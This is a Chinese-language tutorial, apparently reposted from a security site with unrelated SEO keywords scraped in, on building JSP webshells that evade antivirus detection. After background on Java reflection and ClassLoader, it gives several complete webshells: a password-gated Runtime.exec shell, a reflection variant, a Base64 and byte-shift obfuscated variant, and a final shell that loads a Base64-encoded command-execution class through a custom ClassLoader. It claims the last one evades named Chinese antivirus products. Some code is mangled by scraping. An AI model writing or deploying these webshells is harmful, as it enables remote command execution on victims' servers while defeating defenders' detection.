软件开发文档编制,分类目录seo wordpress,建设的电影网站总是无法连接,官方网站建设怎么样JSP免杀马
随着Java框架的进化和程序员的内卷#xff0c;使用PHP编写的系统越来少#xff0c;使用Java编写的系统越来越多。JSP马的使用越来越多#xff0c;但是就目前来看#xff0c;各大厂商对JSP马的查杀效果还是不尽人意。这里简单通过Java的反射机制和ClassLoader技术…JSP免杀马
随着Java框架的进化和程序员的内卷使用PHP编写的系统越来少使用Java编写的系统越来越多。JSP马的使用越来越多但是就目前来看各大厂商对JSP马的查杀效果还是不尽人意。这里简单通过Java的反射机制和ClassLoader技术尝试绕过杀毒软件。
先介绍这几个常见的Java概念。
Java反射
概念 Java的反射reflection机制是指在程序的运行状态中可以构造任意一个类的对象可以了解任意一个对象所属的类可以了解任意一个类的成员变量和方法可以调用任意一个对象的属性和方法。这种动态获取程序信息以及动态调用对象的功能称为Java语言的反射机制。反射被视为动态语言的关键。——《JAVA反射机制》百度百科 要想了解Java反射首先要了解到.java文件是无法直接执行的需要将其编译成.class字节码文件然后借助借助Java虚拟机也就是jvm进行执行。
通过Java语言中的反射机制可以直接操作字节码文件。
要操作一个类的字节码需要首先获取有以下三种方式获取java.lang.Class实例
//1
Class.forName(“完整类名带包名”)
//2
对象.getClass()
//3
任何类型.class这三种获取方式没有使用上的区别。
下面我们通过一个实例来使用一下Java的反射机制。
实例
创建Reflect类
public class Reflect {private static Reflect reflect new Reflect();public Reflect() {}public static Reflect getReflect() {return reflect;}public void print(int a, int b) {System.out.println(a b);}
}利用反射的方式调用函数
import java.lang.reflect.Method;public class testClass {public static void main(String[] args) throws Throwable {//正常方式Reflect reflect new Reflect();reflect.print(1, 2);//部分反射//通过运行时的对象调用getClass();Class? aClass Class.forName(reflection.Reflect);//getMethod(方法名,参数类型)//getMethod第一个参数是方法名第二个参数是该方法的参数类型//因为存在同方法名不同参数这种情况//所以只有同时指定方法名和参数类型才能唯一确定一个方法Method method aClass.getMethod(print, int.class, int.class);//相当于reflect.print(1, 2);方法的反射操作是用method对象来进行方法调用//和reflect.print调用的效果完全相同//使用reflect调用m1获得的对象所声明的公开方法即print并将int类型的1,2作为参数传入method.invoke(reflect, 1, 2);//全部反射Class.forName(reflection.Reflect).getMethod(print, int.class, int.class).invoke(Class.forName(reflection.Reflect).getMethod(getReflect).invoke(Class.forName(reflection.Reflect)), 1, 2);//如需获取实例化也可以使用newInstance()Object instance aClass.newInstance();System.out.println(instance instance);}
}执行结果如下
3
3
3
instance reflection.Reflect28d93b30ClassLoader加载机制
ClassLoader具体作用是将.class文件加载到jvm虚拟机中程序就可以正确运行了。但是jvm启动的时候并不会一次性加载所有的.class文件而是根据需要去动态加载。
Java语言自带有三个类加载器 **Bootstrap ClassLoade**为最顶层的加载类主要加载核心类库%JRE_HOME%\\lib下的rt.jar、resources.jar、charsets.jar和class等。 **Extention ClassLoader**为扩展的类加载器加载目录%JRE_HOME%\\lib\\ext目录下的jar包和class文件。 **Appclass Loader**也称为**SystemAppClass**为加载当前应用的classpath的所有类。
BootstrapClassLoader、ExtClassLoader、AppClassLoader是通过查阅相应的环境属性sun.boot.class.path、java.ext.dirs和java.class.path来加载资源文件。
类加载器也是Java类因为Java类的类加载器本身也是要被类加载器加载的显然必须有第一个类加载器不是Java类这个正是Bootstrap ClassLoade****使用C/C代码写的已经封装到jvm内核中了jvm启动时通过Bootstrap类加载器加载rt.jar等核心jar包中的class文件初始化sun.misc.Launcher并创建Extension ClassLoader和AppClassLoader实例sun.misc.Launcher是Java虚拟机的入口应用。而ExtClassLoader和AppClassLoader是Java类。
可以使用以下代码来测试
public class LoaderClass {public static void main(String[] args) {//BootstrapClassLoader加载的jar包System.out.println(System.getProperty(sun.boot.class.path));//ExtClassLoader加载的jar包System.out.println(System.getProperty(java.ext.dirs));//SystemClassLoader(AppClassLoader)加载的内容//结果为当前java工程目录target/classes里面存放的是编译生成的class文件System.out.println(System.getProperty(java.class.path));//使用自定义的ClassLoader加载系统类加载器ClassLoader systemClassLoader Loader.MyLoader.class.getClassLoader();System.out.println(systemClassLoader systemClassLoader);//调用系统类加载器的getParent()获取扩展类加载器ClassLoader extensionClassLoader systemClassLoader.getParent();System.out.println(extensionClassLoader extensionClassLoader);//调用扩展类加载器的getParent()无法获取引导类加载器//引导类加载器主要负责加载Java的核心类库无法加载自定义类ClassLoader bootstrapClassloader extensionClassLoader.getParent();System.out.println(bootstrapClassloader bootstrapClassloader);//sun.misc.Launcher是java虚拟机的入口应用}
}通过执行可以看到BootstrapClassLoader加载的主要是jre目录下的jar包或者是class文件ExtClassLoader加载的是jre\\lib\\ext目录AppClassLoader加载当前应用的classpath的所有类核心是加载java工程目录target/classes里面存放的是编译生成的class文件。
我们可以自定义类加载器挂载到AppClassLoader上。
Java加载类时使用类加载器的委托机制举个例子假如我们自定义了一个类加载器MyClassLoader自定定义的MyClassLoader首先会先委托给AppClassLoaderAppClassLoader会委托给ExtClassLoaderExtClassLoader会委托给BootstrapClassLoader这时候BootstrapClassLoader就去加载如果加载成功结束如果加载失败就交给ExtClassLoader去加载如果ExtClassLoader加载成功结束如果加载失败就交给AppClassLoader加载如果加载成功结束如果加载失败就交给自定义的MyClassLoader类加载器加载如果加载失败就报ClassNotFoundException异常结束。
扯远了接下来正式通过创建自定义的类加载器来尝试绕过杀软。
JSP免杀马
在Java中通常使用Runtime.*getRuntime*().exec()进行命令执行这里写一个最简单的JSP马
% page contentTypetext/html;charsetUTF-8 languagejava %
%if (666.equals(request.getParameter(pwd))) {java.io.InputStream in Runtime.getRuntime().exec(request.getParameter(cmd)).getInputStream();out.print(pre);java.io.InputStreamReader resultReader new java.io.InputStreamReader(in);java.io.BufferedReader stdInput new java.io.BufferedReader(resultReader);String s null;while ((s stdInput.readLine()) ! null) {out.println(s);}out.print(/pre);}
%但是这个太容易被检测到了Runtime.*getRuntime*().exec()明晃晃。
稍微进化下尝试使用反射机制
% page contentTypetext/html;charsetUTF-8 languagejava %
%if (request.getParameter(cmd) ! null) {Class rt Class.forName(java.lang.Runtime);Process e (Process) rt.getMethod(exec).invoke(rt.getMethod(getRuntime).invoke(null), request.getParameter(cmd));java.io.InputStream in e.getInputStream();out.print(pre);java.io.InputStreamReader resultReader new java.io.InputStreamReader(in);java.io.BufferedReader stdInput new java.io.BufferedReader(resultReader);String s null;while ((s stdInput.readLine()) ! null) {out.println(s);}out.print(/pre);}
%这下比之前稍微好了一些没有直接调用恶意类可以绕过部分利用类检测的规则。但是部分规则也会利用字段进行监测我们可以对其中的java.lang.Runtime、exec、getRuntime等进行加密
% page contentTypetext/html;charsetUTF-8 languagejava %
% page importsun.misc.BASE64Decoder %
%if (request.getParameter(cmd) ! null) {BASE64Decoder decoder new BASE64Decoder();byte[] bytes decoder.decodeBuffer(MTA1LCA5NiwgMTE3LCA5NiwgNDUsIDEwNywgOTYsIDEwOSwgMTAyLCA0NSwgODEsIDExNiwgMTA5LCAxMTUsIDEwNCwgMTA4LCAxMDA);for (int i 0; i bytes.length; i) {bytes[i] (byte) (bytes[i] 1);}Class rt Class.forName(new String(bytes));Process e (Process) rt.getMethod(new String(new byte[]{101, 120, 101, 99}), String.class).invoke(rt.getMethod(new String(new byte[]{103, 101, 116, 82, 117, 110, 116, 105, 109, 101})).invoke(null), request.getParameter(cmd));java.io.InputStream in e.getInputStream();out.print(pre);java.io.InputStreamReader resultReader new java.io.InputStreamReader(in);java.io.BufferedReader stdInput new java.io.BufferedReader(resultReader);String s null;while ((s stdInput.readLine()) ! null) {out.println(s);}out.print(/pre);}
%我们通过删减的方式测试发现只要有invoke函数就会报可疑文件。目前大多数的杀软已经对反射进行查杀。
我们通过ClassLoader来试一下。
先使用mian加载的方式尝试进行命令执行写一个恶意类
import java.io.IOException;public class calc {public calc() {}public String toString() {try {Runtime.getRuntime().exec(calc.exe);} catch (IOException var2) {var2.printStackTrace();}return OK;}
}将上述恶意类进行Base64加密并写入使用自定义的类加载器MyLoader进行加载main执行
import sun.misc.BASE64Decoder;public class Loader {public static class MyLoader extends ClassLoader {public Class get(byte[] b) {return super.defineClass(null, b, 0, b.length);}}public static void main(String[] args) throws Exception {String classStr yv66vgAAADQAKQoACQAZCgAaABsIABwKABoAHQcAHgoABQAfCAAgBwAhBwAiAQAGPGluaXQAQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABJMb3JnL2V4YW1wbGUvY2FsYzsBAAh0b1N0cmluZwEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQABZQEAFUxqYXZhL2lvL0lPRXhjZXB0aW9uOwEADVN0YWNrTWFwVGFibGUHAB4BAApTb3VyY2VGaWxlAQAJY2FsYy5qYXZhDAAKAAsHACMMACQAJQEACGNhbGMuZXhlDAAmACcBABNqYXZhL2lvL0lPRXhjZXB0aW9uDAAoAAsBAAJPSwEAEG9yZy9leGFtcGxlL2NhbGMBABBqYXZhL2xhbmcvT2JqZWN0AQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9QcjZXNzOwEAD3ByaW50U3RhY2tUcmFjZQAhAAgACQAAAAAAAgABAAoACwABAAwAAAAvAAEAAQAAAAUqtwABsQAAAAIADQAAAAYAAQAAAAMADgAAAAwAAQAAAAUADwAQAAAAAQARABIAAQAMAAAAbQACAAIAAAAUuAACEgO2AARXpwAITCu2AAYSB7AAAQAAAAkADAAFAAMADQAAABYABQAAAAcACQAKAAwACAANAAkAEQALAA4AAAAWAAIADQAEABMAFAABAAAAFAAPABAAAAAVAAAABwACTAcAFgQAAQAXAAAAAgAY; // class的base64编码BASE64Decoder code new sun.misc.BASE64Decoder();System.out.println(code code);Class result new MyLoader().get(code.decodeBuffer(classStr));System.out.println(result.newInstance().toString());}
}成功执行。开始写JSP马。
先写一个恶意类
package pass.loader;import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;public class EvalClass {public String command;public EvalClass(String command) throws IOException {StringBuilder stringBuilder new StringBuilder();Process process Runtime.getRuntime().exec(command);BufferedReader bufferedReader new BufferedReader(new InputStreamReader(process.getInputStream()));String print;while ((print bufferedReader.readLine()) ! null) {stringBuilder.append(print).append(\\n);}this.command stringBuilder.toString();}Overridepublic String toString() {return this.command;}
}将上述恶意类进行Base64加密并写入自定义的类加载器classLoader最终的JSP马如下
% page importsun.misc.BASE64Decoder %
% page importjava.io.IOException %
% page importjava.lang.reflect.Constructor %
% page contentTypetext/html;charsetUTF-8 languagejava %
%if (666.equals(request.getParameter(pwd))) {String cmd request.getParameter(cmd);ClassLoader classLoader new ClassLoader() {Overrideprotected Class? findClass(String name) throws ClassNotFoundException {try {BASE64Decoder decoder new BASE64Decoder();byte[] bytes decoder.decodeBuffer(yv66vgAAADQAUAoAEQAuBwAvCgACAC4KADAAMQoAMAAyBwAzBwA0CgA1ADYKAAcANwoABgA4CgAGADkKAAIAOggAOwoAAgA8CQAQAD0HAD4HAD8BAAdjb21tYW5kAQASTGphdmEvbGFuZy9TdHJpbmc7AQAGPGluaXQAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABdMcGFzcy9sb2FkZXIvRXZhbENsYXNzOwEADXN0cmluZ0J1aWxkZXIBABlMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAHcHJvY2VzcwEAE0xqYXZhL2xhbmcvUHJvY2VzczsBAA5idWZmZXJlZFJlYWRlcgEAGExqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyOwEABXByaW50AQANU3RhY2tNYXBUYWJsZQcAPgcAQAcALwcAQQcAMwEACkV4Y2VwdGlvbnMHAEIBAAh0b1N0cmluZwEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAKU291cmNlRmlsZQEADkV2YWxDbGFzcy5qYXZhDAAUAEMBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgcARAwARQBGDABHAEgBABZqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyAQAZamF2YS9pby9JbnB1dFN0cmVhbVJlYWRlcgcAQQwASQBKDAAUAEsMABQATAwATQArDABOAE8BAAEKDAAqACsMABIAEwEAFXBhc3MvbG9hZGVyL0V2YWxDbGFzcwEAEGphdmEvbGFuZy9PYmplY3QBABBqYXZhL2xhbmcvU3RyaW5nAQARamF2YS9sYW5nL1Byb2Nlc3MBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQADKClWAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9QcjZXNzOwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBABMoTGphdmEvaW8vUmVhZGVyOylWAQAIcmVhZExpbmUBAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsAIQAQABEAAAABAAEAEgATAAAAAgABABQAFQACABYAAADnAAUABgAAAEsqtwABuwACWbcAA024AAQrtgAFTrsABlm7AAdZLbYACLcACbcACjoEGQS2AAtZOgXGABIsGQW2AAwSDbYADFen/kqLLYADrUAD7EAAAADABcAAAAiAAgAAAAKAAQACwAMAAwAFAANACgADwAzABAAQgASAEoAEwAYAAAAPgAGAAAASwAZABoAAAAAAEsAEgATAAEADAA/ABsAHAACABQANwAdAB4AAwAoACMAHwAgAAQAMAAbACEAEwAFACIAAAAeAAL/ACgABQcAIwcAJAcAJQcAJgcAJwAA/AAZBwAkACgAAAAEAAEAKQABACoAKwABABYAAAAvAAEAAQAAAAUqtAAPsAAAAAIAFwAAAAYAAQAAABcAGAAAAAwAAQAAAAUAGQAaAAAAAQAsAAAAAgAt);return defineClass(name, bytes, 0, bytes.length);} catch (IOException e) {e.printStackTrace();}return super.findClass(name);}Overridepublic Class? loadClass(String name) throws ClassNotFoundException {if (name.contains(EvalClass)) {out.print(obj.toString());return findClass(name);} else {return super.loadClass(name);}}};Class? evalClass classLoader.loadClass(pass.loader.EvalClass);Constructor cos evalClass.getConstructor(String.class);Object obj cos.newInstance(cmd);out.print(pre);out.print(obj.toString());out.print(/pre);}
%当前2022年12月22日可免杀火绒、360、D盾等。
使用ClassLoader方式构造JSP马难查杀的关键在于恶意类完全隔离上面的文件内容没有进行加密加密后更加难以监测如果要查杀只能针对所有自构造的ClassLoader进行查杀很多框架都使用了ClassLoader技术不太能所有都监测和查杀。
总结
针对PHP马可通过监测核心的eval函数进行查杀但是JSP马的查杀目前还没有很好的监测办法除上述的利用ClassLoader进行免杀外还可通过创建Runtime的父类等方式。
笔者水平有限欢迎大家指出问题。 m 9竟然是敏感词我把文中的换成了大家自行替换即可。
原文地址https://www.freebuf.com/articles/web/355975.html 更多黑客渗透技能欢迎关注扫码